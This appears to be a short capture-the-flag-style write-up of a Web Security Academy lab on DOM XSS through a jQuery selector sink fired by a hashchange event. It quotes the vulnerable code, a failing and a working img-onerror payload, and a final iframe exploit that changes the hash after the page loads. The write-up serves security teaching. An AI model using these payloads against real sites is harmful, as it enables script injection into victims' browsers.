Skip to content

DOM XSS in jQuery selector sink using a hashchange event

Vulnerable code:

$(window).on('hashchange', function(){
  var post = $('section.blog-list h2:contains(' + decodeURIComponent(window.location.hash.slice(1)) + ')');
  if (post) post.get(0).scrollIntoView();
});

The intended functionality is that a hash anchor like /#Favours will automatically scroll the blog post with that title into view.

DOM Invader identifies the vulnerability. First, put the canary string into the hash:

That should pop under Sinks:

However, it attempts to exploit with this URL, which doesn't work:

/#"'><img%20src%20onerror=alert(1)>')');%20alert(1);%20//

This payload does work,

/#<img%20src%20onerror=print()>

But it only works if you manually type it in, trigger a hash-change event. So, the exploit needs to first render the page in the victim's browser and subsequently change the hash to the payload. This works:

<iframe src="https://LAB_ID.web-security-academy.net/#" onload="this.src+='<img src onerror=print()>'" hidden="hidden"></iframe>

Modern versions of jQuery have patched this vector by disallowing HTML in selectors when the input begins with #.